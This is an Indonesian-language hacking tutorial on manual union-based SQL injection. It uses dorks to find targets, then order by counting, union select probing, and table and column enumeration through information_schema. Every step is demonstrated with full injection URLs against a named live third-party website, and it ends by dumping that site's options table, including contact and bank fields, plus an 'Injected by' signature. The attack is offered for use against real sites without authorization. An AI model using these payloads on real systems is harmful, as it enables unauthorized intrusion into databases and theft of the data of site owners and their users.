Tutorial SQLI Manual Basic Union Based



Assalamualaikum sobat IT ,,
alhamdulilla yah akhirnya kita ketemu lagi dengan saya ,,
kali ini saya akan berbagi teknik yah cukup terkenal lah dikalangan para underground
mereka biasa menyebutnya Proff sejuta Umat ,, ya tidak lain yaitu Sql injection dimana seseorang dapat menyisipkan perintah perintah sql ke paramater url sehingga dapat memanipulasi database target tersebut..
hanya saja saya kali ini yang versi manualnya dan yang paling dasar ..
langsung saja yu ke TKP ...

pertama jika kalian ingin menggunakan dork ,, gunakan dork
misal ..
inurl:/index.php?id=
inurl:/berita.php?tampil=
yang penting ada parameter yang jelas nya ..

selanjutnya jika sudah mendapatkan target kita akan melakukan order by  yaitu berguna untuk mengetahui jumlah table yang ada di database... :v

untuk live target saya yaitu :
http://www.jobperformance.dk/page.php?id=48

cara mengecek vuln nya dengan menambahkan tanda (') di belakang angka
contoh :
http://www.jobperformance.dk/page.php?id='48


nahh error berarti vuln

selanjutnya kita akan coba lakukan order by ..
liat gamabar

caranya order dengan menambahkan satu angka dibelakang terus sampai menemukan error

http://www.jobperformance.dk/page.php?id=48+order+by+1--
http://www.jobperformance.dk/page.php?id=48+order+by+2--
http://www.jobperformance.dk/page.php?id=48+order+by+3--
http://www.jobperformance.dk/page.php?id=48+order+by+4--
terusss ,,,
dan ..
http://www.jobperformance.dk/page.php?id=48+order+by+12--

yap ,, saya mendapatkan error di order by 12
berarti sudah dipastikan tablenya ada 11 buah ,,
jumlah table = order error -1 aja :v

selanjutnya kita akan mencari Magic number :v
yahh angka magic , begitulah para injektor menyebutnya :'v
caranya dengan melakukan -48+union+select+1,2,3,4,5,6,7,8,9,10,11-- (sesuai jumlah table)
sama seperti yang dilakukan order by tadi ,, hanya pake tanda "-" didepan angka
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,9,10,11--
dan apa yang terjadi ?


muncul angka "9" pemirsa :VV
nah jadi diantara angka 8 dan 10 disanalah yang nantinya akan kita masukan perintah perintah selanjutnya ,, dan angka 9 nanti akan dihilangkan ..
misalkan munculnya dua angka "9" dan "8" berarti kita bisa mengiject diangka "8" dan "9"
kita akan mencoba melihat Versi database yang dipakai oleh web tersebut :v
caranya dengan menambahkan "version()" atau "@@version". diletakan di posisi magicnum tadi
dan kita bisa melihat nama database dengan perintah "database()" atau "@@database" ..
ex:
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,database(),10,11--
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,version(),10,11--



nah disana kita telah mengetahui versi dan nama databasenya ..
v.5.5.54, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
ex :
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(table_name),10,11+from+information_schema.tables+where+table_schema=database()--

Nahh kita sudah mengetahui table table yang ada di database web tersebut ..
kita menemukan ada beberapa table yaitu :
cms2_backup,cms2_lang,cms2_news,cms2_options,cms2_pages,cms2_subscribers,cms2_ws_art,cms2_ws_cats
loh ko ada 8 yah ? :V Wallohualam sob harusnya kan 11 :VV

apa yang dilakukan selanjutnya ?? yah kita mencari username dan password ,,
kira kira ditable mana ya sob ? :v ane bingung nih .. :'v
okeh yang mana aja deh kita akan coba di table cms2_options
yaitu dengan menggunakan perintah
“group_concat(column_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --.
pada langkah ini kita harus mengconvert string nama table ke Decimal dulu atau ASCII Value 
gunakan toolnya disini.
nah hasil convetnya adalah (99 109 115 50 95 111 112 116 105 111 110 115 ) pisah kan dengan "," disetiap angka yang terpisah..
lalu masukan ke dalam CHAR(99, 109, 115, 50, 95, 111, 112, 116, 105, 111, 110, 115)
nah seperti itu ..
jadi :
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(column_name),10,11+from+information_schema.columns+where+table_name=CHAR(99,%20109,%20115,%2050,%2095,%20111,%20112,%20116,%20105,%20111,%20110,%20115)--


wealah ko yang muncul malah kek ginian :'v bukan username password ,,
yang muncul adalah : lang_show_type,site_url,site_name,site_description,site_keywords,email_admin_url,g_analytics,c_email,c_person,c_name,c_address,c_zip,c_city,c_phone,c_fax,c_cvr,c_bank,c_bank_regno,c_bank_acount,c_map_url,news_num_show,sitemap,crumbs,print,tip,newsletter,news,ticker,rss,search,gallery,guestbook,webshop

tapi yowes lah gak papa pada dasarnya sama aja cara mengambil table dan kolom intinya ..
disana kita menemukan beberapa kolom atau biasa disebut "field" pada database kita akan coba melihat isi dari semua collum tersebut..
gunakan perintah group_concat(namafield,0x3a,namafield,0x3a,namafiled) . letakan 0x3a disetiap batas field
0x3a adalah hasil convert dari ":" ke Hexa
dan diakhiri dengan +from+cms2_options-- .. nahh cms2_options itu adalah nama table dari kolom tersebut..
jadi :
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(lang_show_type,0x3a,site_url,0x3a,site_name,0x3a,site_description,0x3a,site_keywords,0x3a,email_admin_url,0x3a,g_analytics,0x3a,c_email,0x3a,c_person,0x3a,c_name,0x3a,c_address,0x3a,c_zip,0x3a,c_city,0x3a,c_phone,0x3a,c_fax,0x3a,c_cvr,0x3a,c_bank,0x3a,c_bank_regno,0x3a,c_bank_acount,0x3a,c_map_url,0x3a,news_num_show,0x3a,sitemap,0x3a,crumbs,0x3a,print,0x3a,tip,0x3a,newsletter,0x3a,news,0x3a,ticker,0x3a,rss,0x3a,search,0x3a,gallery,0x3a,guestbook,0x3a,webshop),10,11+from+cms2_options--


tinggal print Leet name kita caranya dengan mengkonvert dulu String kita misal "Injected by Peluru Kertas" ke hex ... di http://string-functions.com/string-hex.aspx
kemudian memakai 0x didepannya jadi nya
0x496e6a65637465642062792050656c757275204b6572746173
letakan didalam group_concat atau concat
jadi:
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(0x496e6a65637465642062792050656c757275204b6572746173,lang_show_type,0x3a,site_url,0x3a,site_name,0x3a,site_description,0x3a,site_keywords,0x3a,email_admin_url,0x3a,g_analytics,0x3a,c_email,0x3a,c_person,0x3a,c_name,0x3a,c_address,0x3a,c_zip,0x3a,c_city,0x3a,c_phone,0x3a,c_fax,0x3a,c_cvr,0x3a,c_bank,0x3a,c_bank_regno,0x3a,c_bank_acount,0x3a,c_map_url,0x3a,news_num_show,0x3a,sitemap,0x3a,crumbs,0x3a,print,0x3a,tip,0x3a,newsletter,0x3a,news,0x3a,ticker,0x3a,rss,0x3a,search,0x3a,gallery,0x3a,guestbook,0x3a,webshop),10,11+from+cms2_options--

yahh kalian bisa mengembangkan variasi variasinya ,,,
sebenarnya masih banyak teknik teknik SQL Injection dan ini hanya sebagian kecil dari semuanya..
kita akan bertemu lagi dilain waktu dengan teknik2 lainnya tentunya
ini hanya permulaan..
sampai jumpa lagi semoga bermanfaat :D